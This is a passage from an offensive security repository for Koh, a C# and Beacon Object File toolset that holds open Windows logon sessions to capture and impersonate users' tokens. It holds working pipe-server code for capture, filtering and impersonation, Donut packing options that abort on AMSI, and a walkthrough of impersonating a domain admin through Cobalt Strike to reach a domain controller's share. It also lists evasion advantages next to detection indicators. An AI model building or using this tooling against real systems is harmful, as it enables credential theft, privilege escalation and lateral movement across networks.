filtering!"; 133 | } 134 | } 135 | else if (parts.Length == 4 && (parts[2] == "remove") && (Helpers.IsDomainSid(parts[3]))) 136 | { 137 | bool val = false; 138 | if (_filterSids.TryRemove(parts[3], out val)) 139 | { 140 | responseMsg = $"[*] Removed {parts[3]} group SID from capture filtering."; 141 | } 142 | else 143 | { 144 | responseMsg = $"[!] Error removing {parts[3]} group SID to capture filtering!"; 145 | } 146 | } 147 | else if (parts.Length == 3 && (parts[2] == "reset")) 148 | { 149 | responseMsg = "[*] Reset all filtering SIDs"; 150 | _filterSids.Clear(); 151 | _excludeSids.Clear(); 152 | } 153 | } 154 | else if (command == "release") 155 | { 156 | if (_mode == "monitor") 157 | { 158 | responseMsg = $"[X] Cannot release tokens in monitor mode"; 159 | } 160 | // releases all tokens/sessions, or a token for a specified LUID 161 | if ((parts.Length == 3) && (_mode == "capture")) 162 | { 163 | ulong luid = 0; 164 | if (parts[2].ToLower() == "all") 165 | { 166 | // "release all" -> release all tokens 167 | 168 | foreach (var capturedSession in _capturedSessions) 169 | { 170 | Interop.CloseHandle(capturedSession.Value.TokenHandle); 171 | } 172 | _capturedSessions.Clear(); 173 | responseMsg = $"[*] Released all captured tokens"; 174 | } 175 | else if (parts[2].ToLower() == "allbut") 176 | { 177 | // "release all" -> release all tokens except the on for the specific LUID 178 | 179 | if (parts.Length < 4) 180 | { 181 | responseMsg = "[!] Usage: 'release allbut LUID'"; 182 | } 183 | else 184 | { 185 | if (ulong.TryParse(parts[4], out luid)) { 186 | 187 | foreach (var capturedSession in _capturedSessions) 188 | { 189 | if (capturedSession.Value.Luid != luid) 190 | { 191 | Interop.CloseHandle(capturedSession.Value.TokenHandle); 192 | Capture.CapturedSession temp = new Capture.CapturedSession(); 193 | _capturedSessions.TryRemove(capturedSession.Key, out temp); 194 | } 195 | } 196 | 197 | responseMsg = $"[*] Released all captured tokens except the token for LUID '{parts[3]}'"; 198 | } 199 | else 200 | { 201 | responseMsg = "[!] Usage: 'release allbut LUID'"; 202 | } 203 | } 204 | } 205 | else if (ulong.TryParse(parts[2], out luid)) 206 | { 207 | // release LUID -> release token for specific LUID 208 | foreach (var capturedSession in _capturedSessions) 209 | { 210 | if (capturedSession.Value.Luid == luid) 211 | { 212 | Interop.CloseHandle(capturedSession.Value.TokenHandle); 213 | Capture.CapturedSession temp = new Capture.CapturedSession(); 214 | if (_capturedSessions.TryRemove(capturedSession.Key, out temp)) 215 | { 216 | responseMsg = $"[*] Released token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid}"; 217 | } 218 | else 219 | { 220 | responseMsg = $"[!] Error releasing token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} !"; 221 | } 222 | } 223 | } 224 | } 225 | } 226 | } 227 | else if (command == "groups") 228 | { 229 | if (_mode == "monitor") 230 | { 231 | responseMsg = $"[X] Cannot list groups in monitor mode"; 232 | } 233 | // lists the domain group SIDs for a specified token 234 | if ((parts.Length == 3) && (_mode == "capture")) 235 | { 236 | ulong luid = 0; 237 | if (ulong.TryParse(parts[2], out luid)) 238 | { 239 | foreach (var capturedSession in _capturedSessions) 240 | { 241 | if (capturedSession.Value.Luid == luid) 242 | { 243 | List groupSids = Helpers.GetTokenGroups(capturedSession.Value.TokenHandle); 244 | responseMsg = String.Join("\n", groupSids.Where(x => Helpers.IsDomainSid(x)).ToArray()); 245 | } 246 | } 247 | } 248 | } 249 | } 250 | else if (command == "impersonate") 251 | { 252 | // impersonate LUID PipeName 253 | if(_mode == "monitor") 254 | { 255 | responseMsg = $"[X] Cannot impersonate in monitor mode"; 256 | } 257 | if ((parts.Length == 4) && (_mode == "capture")) 258 | { 259 | ulong luid = 0; 260 | if (ulong.TryParse(parts[2], out luid)) 261 | { 262 | string pipeName = parts[3]; 263 | responseMsg = "[!] LUID not found!"; 264 | foreach (var capturedSession in _capturedSessions) 265 | { 266 | if (capturedSession.Value.Luid == luid) 267 | { 268 | bool success = Interop.ImpersonateLoggedOnUser(capturedSession.Value.TokenHandle); 269 | if (success) 270 | { 271 | responseMsg = $"[*] Impersonating token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} to {pipeName}"; 272 | 273 | // 0x80000000 | 0x40000000 -> GENERIC_READ | GENERIC_WRITE 274 | // 3 -> OPEN_EXISTING 275 | Thread.Sleep(1000); 276 | IntPtr hPipe = Interop.CreateFile($"{pipeName}", 0x80000000 | 0x40000000, 0, 0, 3, 0, 0); 277 | 278 | if (hPipe.ToInt64() == -1) 279 | { 280 | var ex = new Win32Exception(Marshal.GetLastWin32Error()); 281 | Console.WriteLine($" [X] Error conecting to {pipeName} : {ex.Message} ({ex.ErrorCode})"); 282 | } 283 | else 284 | { 285 | // write a single byte out so we can fulfil the ReadFile() requirement on the other side of the pipe 286 | byte[] bytes = new byte[1]; 287 | uint written = 0; 288 | Interop.WriteFile(hPipe, bytes, (uint)bytes.Length, out written, IntPtr.Zero); 289 | Thread.Sleep(500); 290 | } 291 | 292 | Interop.RevertToSelf(); 293 | } 294 | else 295 | { 296 | responseMsg = $"[!] Error impersonating token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} to pipe {pipeName}"; 297 | } 298 | } 299 | } 300 | } 301 | } 302 | } 303 | else if (command == "exit") 304 | { 305 | responseMsg = $"[*] Koh is exiting..."; 306 | _meta["SignalExit"] = 1; 307 | } 308 | 309 | if (command != "impersonate") 310 | { 311 | byte[] outBuffer = System.Text.Encoding.ASCII.GetBytes(responseMsg); 312 | pipeStream.Write(outBuffer, 0, responseMsg.Length); 313 | } 314 | } 315 | } 316 | 317 | if (_debug) 318 | { 319 | Console.WriteLine($"DEBUG ({DateTime.Now}) Response: {responseMsg}"); 320 | } 321 | 322 | try 323 | { 324 | pipeStream.Close(); 325 | } 326 | catch { } 327 | try 328 | { 329 | pipeStream.Dispose(); 330 | } 331 | catch { } 332 | } 333 | 334 | public void ProcessNextClient() 335 | { 336 | try 337 | { 338 | PipeSecurity pipeSecurity = new PipeSecurity(); 339 | pipeSecurity.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow)); 340 | 341 | NamedPipeServerStream pipeStream = new NamedPipeServerStream( 342 | _pipeName, 343 | PipeDirection.InOut, 344 | -1, 345 | PipeTransmissionMode.Message, 346 | PipeOptions.Asynchronous, 347 | 4096, 348 | 4096, 349 | pipeSecurity); 350 | 351 | pipeStream.WaitForConnection(); 352 | 353 | // Spawn a new thread for each request and continue waiting 354 | Thread t = new Thread(ProcessClientThread); 355 | t.Start(pipeStream); 356 | t.Join(); 357 | } 358 | catch 359 | { 360 | } 361 | } 362 | } 363 | } 364 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Koh 2 | 3 | ---- 4 | 5 | Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage. 6 | 7 | Some code was inspired by [Elad Shamir](https://twitter.com/elad_shamir)'s [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue) project (no license), as well as [KB180548](https://mskb.pkisolutions.com/kb/180548). For why this is possible and Koh's approeach, see the [Technical Background](#technical-background) section of this README. 8 | 9 | For a deeper explanation of the motivation behind Koh and its approach, see the [Koh: The Token Stealer](https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6) post. 10 | 11 | [@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base. [@tifkin_](https://twitter.com/tifkin_) helped with the approach, BOF implementation, and some token mechanics. 12 | 13 | Koh is licensed under the BSD 3-Clause license. 14 | 15 | ## Table of Contents 16 | 17 | - [Koh](#koh) 18 | - [Table of Contents](#table-of-contents) 19 | - [Koh Server](#koh-server) 20 | - [Compilation](#compilation) 21 | - [Usage](#usage) 22 | - [Example - Listing Logon Sessions](#example---listing-logon-sessions) 23 | - [Example - Monitoring for Logon Sessions (with group SID filtering)](#example---monitoring-for-logon-sessions-with-group-sid-filtering) 24 | - [Koh Client](#koh-client) 25 | - [Usage](#usage-1) 26 | - [Group SID Filtering](#group-sid-filtering) 27 | - [Example - Capture](#example---capture) 28 | - [Technical Background](#technical-background) 29 | - [Why This Is Possible](#why-this-is-possible) 30 | - [Approach](#approach) 31 | - [Possible Approaches](#possible-approaches) 32 | - [Our Approach](#our-approach) 33 | - [Advantages/Disadvantages Versus Traditional Credential Extraction](#advantages-disadvantages-versus-traditional-credential-extraction) 34 | - [Advantages](#advantages) 35 | - [Disadvantages](#disadvantages) 36 | - [The Inline Shenanigans Bug](#the-inline-shenanigans-bug) 37 | - [IOCs](#iocs) 38 | - [TODO](#todo) 39 | 40 | 41 | ## Koh Server 42 | 43 | The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in [Donut](https://github.com/TheWover/donut/) and injected into any ~~high-integrity~~ SYSTEM process (see [The Inline Shenanigans Bug](#the-inline-shenanigans-bug)). 44 | 45 | ## Compilation 46 | 47 | We are not planning on releasing binaries for Koh, so you will have to compile yourself :) 48 | 49 | Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The `Koh.exe` assembly and `Koh.bin` [Donut-built](https://github.com/TheWover/donut) PIC will be be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at `./Misc/Donut.exe`: 50 | 51 | ``` 52 | [ Instance type : Embedded 53 | [ Entropy : Random names + Encryption 54 | [ Compressed : Xpress Huffman 55 | [ File type : .NET EXE 56 | [ Parameters : capture 57 | [ Target CPU : x86+amd64 58 | [ AMSI/WDLP : abort 59 | ``` 60 | 61 | Donut's license is BSD 3-clause. 62 | 63 | ### Usage 64 | 65 | `Koh.exe Koh.exe [GroupSID... GroupSID2 ...]` 66 | 67 | * **list** - lists (non-network) logon sessions 68 | * **monitor** - monitors for new/unique (non-network) logon sessions 69 | * **capture** - captures one unique token per SID found for new (non-network) logon sessions 70 | 71 | Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information. 72 | 73 | ### Example - Listing Logon Sessions 74 | 75 | ``` 76 | C:\Temp>Koh.exe list 77 | 78 | __ ___ ______ __ __ 79 | | |/ / / __ \ | | | | 80 | | ' / | | | | | |__| | 81 | | < | | | | | __ | 82 | | . \ | `--' | | | | | 83 | |__|\__\ \______/ |__| |__| 84 | v1.0.0 85 | 86 | 87 | [*] Command: list 88 | 89 | [*] Elevated to SYSTEM 90 | 91 | 92 | [*] New Logon Session - 6/22/2022 2:51:46 PM 93 | UserName : THESHIRE\testuser 94 | LUID : 207990196 95 | LogonType : Interactive 96 | AuthPackage : Kerberos 97 | User SID : S-1-5-21-937929760-3187473010-80948926-1119 98 | Origin LUID : 1677733 (0x1999a5) 99 | 100 | [*] New Logon Session - 6/22/2022 2:51:46 PM 101 | UserName : THESHIRE\DA 102 | LUID : 81492692 103 | LogonType : Interactive 104 | AuthPackage : Negotiate 105 | User SID : S-1-5-21-937929760-3187473010-80948926-1145 106 | Origin LUID : 1677765 (0x1999c5) 107 | 108 | [*] New Logon Session - 6/22/2022 2:51:46 PM 109 | UserName : THESHIRE\DA 110 | LUID : 81492608 111 | LogonType : Interactive 112 | AuthPackage : Kerberos 113 | User SID : S-1-5-21-937929760-3187473010-80948926-1145 114 | Origin LUID : 1677765 (0x1999c5) 115 | 116 | [*] New Logon Session - 6/22/2022 2:51:46 PM 117 | UserName : THESHIRE\harmj0y 118 | LUID : 1677733 119 | LogonType : Interactive 120 | AuthPackage : Kerberos 121 | User SID : S-1-5-21-937929760-3187473010-80948926-1104 122 | Origin LUID : 999 (0x3e7) 123 | 124 | ``` 125 | 126 | ### Example - Monitoring for Logon Sessions (with group SID filtering) 127 | 128 | Only lists results that have the domain admins (-512) group SID in their token information: 129 | 130 | ``` 131 | C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512 132 | 133 | __ ___ ______ __ __ 134 | | |/ / / __ \ | | | | 135 | | ' / | | | | | |__| | 136 | | < | | | | | __ | 137 | | . \ | `--' | | | | | 138 | |__|\__\ \______/ |__| |__| 139 | v1.0.0 140 | 141 | 142 | [*] Command: monitor 143 | 144 | [*] Starting server with named pipe: imposecost 145 | 146 | [*] Elevated to SYSTEM 147 | 148 | [*] Targeting group SIDs: 149 | S-1-5-21-937929760-3187473010-80948926-512 150 | 151 | [*] New Logon Session - 6/22/2022 2:52:17 PM 152 | UserName : THESHIRE\DA 153 | LUID : 81492692 154 | LogonType : Interactive 155 | AuthPackage : Negotiate 156 | User SID : S-1-5-21-937929760-3187473010-80948926-1145 157 | Origin LUID : 1677765 (0x1999c5) 158 | 159 | [*] New Logon Session - 6/22/2022 2:52:17 PM 160 | UserName : THESHIRE\DA 161 | LUID : 81492608 162 | LogonType : Interactive 163 | AuthPackage : Kerberos 164 | User SID : S-1-5-21-937929760-3187473010-80948926-1145 165 | Origin LUID : 1677765 (0x1999c5) 166 | 167 | [*] New Logon Session - 6/22/2022 2:52:17 PM 168 | UserName : THESHIRE\harmj0y 169 | LUID : 1677733 170 | LogonType : Interactive 171 | AuthPackage : Kerberos 172 | User SID : S-1-5-21-937929760-3187473010-80948926-1104 173 | Origin LUID : 999 (0x3e7) 174 | 175 | ``` 176 | 177 | 178 | ## Koh Client 179 | 180 | The current usable client is a Beacon Object File at `.\Clients\BOF\`. Load the `.\Clients\BOF\KohClient.cna` aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is **SeImpersonatePrivilege**. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez). 181 | 182 | To compile fresh on Linux using Mingw, see the `.\Clients\BOF\build.sh` script. The only requirement (on Debian at least) should be `apt-get install gcc-mingw-w64` 183 | 184 | ### Usage 185 | 186 | ``` 187 | beacon> help koh 188 | koh list - lists captured tokens 189 | koh groups LUID - lists the group SIDs for a captured token 190 | koh filter list - lists the group SIDs used for capture filtering 191 | koh filter add SID - adds a group SID for capture filtering 192 | koh filter remove SID - removes a group SID from capture filtering 193 | koh filter reset - resets the SID group capture filter 194 | koh impersonate LUID - impersonates the captured token with the give LUID 195 | koh release all - releases all captured tokens 196 | koh release LUID - releases the captured token for the specified LUID 197 | koh exit - signals the Koh server to exit 198 | ``` 199 | 200 | ### Group SID Filtering 201 | 202 | The `koh filter add S-1-5-21--` command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks. 203 | 204 | 205 | ### Example - Capture 206 | 207 | "Captures" logon sessions by negotiating usable tokens for each new session. 208 | 209 | Server: 210 | 211 | ``` 212 | C:\Temp>Koh.exe capture 213 | 214 | __ ___ ______ __ __ 215 | | |/ / / __ \ | | | | 216 | | ' / | | | | | |__| | 217 | | < | | | | | __ | 218 | | . \ | `--' | | | | | 219 | |__|\__\ \______/ |__| |__| 220 | v1.0.0 221 | 222 | 223 | [*] Command: capture 224 | 225 | [*] Starting server with named pipe: imposecost 226 | 227 | [*] Elevated to SYSTEM 228 | 229 | 230 | [*] New Logon Session - 6/22/2022 2:53:01 PM 231 | UserName : THESHIRE\testuser 232 | LUID : 207990196 233 | LogonType : Interactive 234 | AuthPackage : Kerberos 235 | User SID : S-1-5-21-937929760-3187473010-80948926-1119 236 | Credential UserName : testuser@THESHIRE.LOCAL 237 | Origin LUID : 1677733 (0x1999a5) 238 | 239 | [*] Successfully negotiated a token for LUID 207990196 (hToken: 848) 240 | 241 | 242 | [*] New Logon Session - 6/22/2022 2:53:01 PM 243 | UserName : THESHIRE\DA 244 | LUID : 81492692 245 | LogonType : Interactive 246 | AuthPackage : Negotiate 247 | User SID : S-1-5-21-937929760-3187473010-80948926-1145 248 | Credential UserName : da@THESHIRE.LOCAL 249 | Origin LUID : 1677765 (0x1999c5) 250 | 251 | [*] Successfully negotiated a token for LUID 81492692 (hToken: 976) 252 | 253 | 254 | [*] New Logon Session - 6/22/2022 2:53:01 PM 255 | UserName : THESHIRE\harmj0y 256 | LUID : 1677733 257 | LogonType : Interactive 258 | AuthPackage : Kerberos 259 | User SID : S-1-5-21-937929760-3187473010-80948926-1104 260 | Credential UserName : harmj0y@THESHIRE.LOCAL 261 | Origin LUID : 999 (0x3e7) 262 | 263 | [*] Successfully negotiated a token for LUID 1677733 (hToken: 980) 264 | 265 | ``` 266 | 267 | BOF client: 268 | 269 | ``` 270 | beacon> shell dir \\dc.theshire.local\C$ 271 | [*] Tasked beacon to run: dir \\dc.theshire.local\C$ 272 | [+] host called home, sent: 69 bytes 273 | [+] received output: 274 | Access is denied. 275 | 276 | beacon> getuid 277 | [*] Tasked beacon to get userid 278 | [+] host called home, sent: 20 bytes 279 | [*] You are NT AUTHORITY\SYSTEM (admin) 280 | 281 | beacon> koh list 282 | [+] host called home, sent: 6548 bytes 283 | [+] received output: 284 | [*] Using KohPipe : \\.\pipe\imposecost 285 | 286 | [+] received output: 287 | 288 | Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000) 289 | LUID : 67556826 290 | CaptureTime : 6/21/2022 1:24:42 PM 291 | LogonType : Interactive 292 | AuthPackage : Negotiate 293 | CredUserName : localadmin@THESHIRE.LOCAL 294 | Origin LUID : 1676720 295 | 296 | Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145) 297 | LUID : 67568439 298 | CaptureTime : 6/21/2022 1:24:50 PM 299 | LogonType : Interactive 300 | AuthPackage : Negotiate 301 | CredUserName : da@THESHIRE.LOCAL 302 | Origin LUID : 1677765 303 | 304 | Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104) 305 | LUID : 1677733 306 | CaptureTime : 6/21/2022 1:23:10 PM 307 | LogonType : Interactive 308 | AuthPackage : Kerberos 309 | CredUserName : harmj0y@THESHIRE.LOCAL 310 | Origin LUID : 999 311 | 312 | beacon> koh groups 67568439 313 | [+] host called home, sent: 6548 bytes 314 | [+] received output: 315 | [*] Using KohPipe : \\.\pipe\imposecost 316 | 317 | [+] received output: 318 | S-1-5-21-937929760-3187473010-80948926-513 319 | S-1-5-21-937929760-3187473010-80948926-512 320 | S-1-5-21-937929760-3187473010-80948926-525 321 | S-1-5-21-937929760-3187473010-80948926-572 322 | 323 | beacon> koh impersonate 67568439 324 | [+] host called home, sent: 6548 bytes 325 | [+] received output: 326 | [*] Using KohPipe : \\.\pipe\imposecost 327 | 328 | [+] received output: 329 | [*] Enabled SeImpersonatePrivilege 330 | 331 | [+] received output: 332 | [*] Creating impersonation named pipe: \\.\pipe\imposingcost 333 | 334 | [+] received output: 335 | [*] Impersonation succeeded. Duplicating token. 336 | 337 | [+] received output: 338 | [*] Impersonated token successfully duplicated. 339 | 340 | [+] Impersonated THESHIRE\da 341 | 342 | beacon> getuid 343 | [*] Tasked beacon to get userid 344 | [+] host called home, sent: 20 bytes 345 | [*] You are THESHIRE\DA (admin) 346 | 347 | beacon> shell dir \\dc.theshire.local\C$ 348 | [*] Tasked beacon to run: dir \\dc.theshire.local\C$ 349 | [+] host called home, sent: 69 bytes 350 | [+] received output: 351 | Volume in drive \\dc.theshire.local\C$ has no label. 352 | Volume Serial Number is A4FF-7240 353 | 354 | Directory of \\dc.theshire.local\C$ 355 | 356 | 01/04/2021 11:43 AM inetpub 357 | 05/30/2019 03:08 PM PerfLogs 358 | 05/18/2022 01:27 PM Program Files 359 | 04/15/2021 09:44 AM Program Files (x86) 360 | 03/20/2020 12:28 PM RBFG 361 | 10/20/2021 01:14 PM Temp 362 | 05/23/2022 06:30 PM tools 363 | 03/11/2022 04:10 PM Users 364 | 06/21/2022 01:30 PM Windows 365 | 0 File(s) 0 bytes 366 | 9 Dir(s) 40,504,201,216 bytes free 367 | ``` 368 | 369 | ## Technical Background 370 | 371 | When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by to the caller of LsaLogonUser(). This [increases the ReferenceCount](https://systemroot.gitee.io/pages/apiexplorer/d0/d9/rmlogon_8c-source.html#l00278) field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the [Why This Is Possible](#why-this-is-possible) section, Windows systems **will NOT** release a logon session if a token handle still exists to it (and therefore the reference count != 0). 372 | 373 | So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains. 374 | 375 | ### Why This Is Possible 376 | 377 | According [to this post by a Microsoft engineer](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472): 378 | 379 | ``` 380 | After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well. 381 | ``` 382 | 383 | [MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems. 384 | 385 | 386 | ## Approach 387 | 388 | Enumerating logon sessions is easy (from an elevated context) through the use of the [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and _somehow_ getting a usable token linked to that session. 389 | 390 | ### Possible Approaches 391 | 392 | We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials. 393 | 394 | 1. The first approach was to use **NtCreateToken()** which allows you to specify a logon session ID (LUID) to create a new token. 395 | * Unfortunately, you need **SeCreateTokenPrivilege** which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal. 396 | * One possibility was to add **SeCreateTokenPrivilege** to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights. 397 | 2. You can also focus on just RemoteInteractive logon sessions by using **WTSQueryUserToken()** to get tokens for new desktop sessions to clone. 398 | * This is the approach apparently [demonstrated by Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472). 399 | * Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC. 400 | 3. On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session. 401 | * This requires opening up lots of processes/handles, which looks very suspicious. 402 | 4. The **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** approach described below, which is what we went with. 403 | 404 | ### Our Approach 405 | 406 | The SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) call has a **pvLogonID** field which states: 407 | ``` 408 | A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 409 | ``` 410 | 411 | **Note:** In order to utilize a logon session LUID with **AcquireCredentialsHandle()** you need **SeTcbPrivilege**, however this is usually easier to get than **SeCreateTokenPrivilege**. 412 | 413 | Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? **WTSQueryUserToken()** only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token. 414 | 415 | _However_ we can use two additional SSPI functions, [InitializeSecurityContext()](https://docs.microsoft.com/en-us/windows/win32/secauthn/initializesecuritycontext--negotiate) and [AcceptSecurityContext()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acceptsecuritycontext--negotiate) to act as client and server to ourselves, negotiating a new security context that we can then use with [QuerySecurityContextToken()](https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-querysecuritycontexttoken) to get a usable token. This was documented in KB180548 ([mirrored by PKISolutions here](https://mskb.pkisolutions.com/kb/180548)) for the purposes of credential validation. This is a similar approach to [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue), except we are completing the entire handshake process, producing a token, and then holding that for later use. 416 | 417 | Filtering can then be done on the token itself, via [CheckTokenMembership()](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-checktokenmembership) or [GetTokenInformation()](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target. 418 | 419 | 420 | ### Advantages/Disadvantages Versus Traditional Credential Extraction 421 | 422 | #### Advantages 423 | * Works for both local and inbound (non-network) logons. 424 | * Works for inbound sessions created via Kerberos and NTLM. 425 | * Doesn’t require opening up a handle to multiple processes. 426 | * Doesn't create a new logon event or logon session. 427 | * Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?) 428 | * No default lifetime on the tokens (I don't think?) so _access_ should work as long as the captured account’s credentials don't change and the system doesn’t reboot. 429 | * Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well. 430 | 431 | 432 | #### Disadvantages 433 | * Access is only usable as long as the system doesn't reboot. 434 | * Doesn't let you reuse access on other systems 435 | * However, and existing ticket/credential extraction can still be done on the leaked logon session. 436 | * May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here). 437 | 438 | 439 | ## The Inline Shenanigans Bug 440 | 441 | I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol. 442 | 443 | * When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly. 444 | 445 | * If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with `execute-assembly` from an elevated (but non-SYSTEM) context, everything works properly. 446 | 447 | * If the Koh.exe assembly is run _inline_ (via [InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) or [Inject-Assembly](https://github.com/kyleavery/inject-assembly)) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly. 448 | 449 | * **However** If the Koh.exe assembly is run _inline_ (via [InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) or [Inject-Assembly](https://github.com/kyleavery/inject-assembly)) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with `SEC_E_NO_CREDENTIALS` and everything fails ¯\\\_(ツ)\_/¯ 450 | 451 | We have tried (with no success): 452 | * Spinning off everything to a separate thread, specifying a STA thread apartment. 453 | * Trying to diagnose RPC weirdness (still more to investigate here). 454 | * Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser. 455 | * Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do). 456 | 457 | For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. **And we have no idea why.** 458 | 459 | If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the [AcquireCredentialsHandle](https://github.com/harmj0y/AcquireCredentialsHandle) repo on my GitHub for troubleshooting. 460 | 461 | 462 | ## IOCs 463 | 464 | To quote [@tifkin_](https://twitter.com/tifkin_) _"Everything is stealthy until someone is looking for it."_ While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it. 465 | 466 | The unique TypeLib GUID for the C# Koh collector is `4d5350c8-7f8c-47cf-8cde-c752018af17e` as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server. 467 | 468 | When the Koh server starts is opens up a named pipe called `\\.\pipe\imposecost` that stays open as long as Koh is running. The default password used for Koh communication is `password`, so sending `password list` to any `\\.\pipe\imposecost` pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is `\\.pipe\imposingcost`. 469 | 470 | If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of `winlogon` is performed to perform a `getsystem` type elevation. 471 | 472 | I'm sure that no attackers will change the indicators mentioned above. 473 | 474 | There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh ([LsaEnumerateLogonSessions](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in [AcquireCredentialsHandle](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general)) could be explored for effectiveness, but alas, I am not an EDR. 475 | 476 | ## TODO 477 | 478 | * Additional testing in the lab and field. Possible concerns: 479 | * Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers 480 | * Total actual effective token lifetime 481 | * "Remote" client that allows for monitoring through the Koh named pipe remotely 482 | * Implement more clients (PowerShell, C#, C++, etc.) 483 | * Fix the [Inline Shenanigans Bug](#the-inline-shenanigans-bug) 484 | --------------------------------------------------------------------------------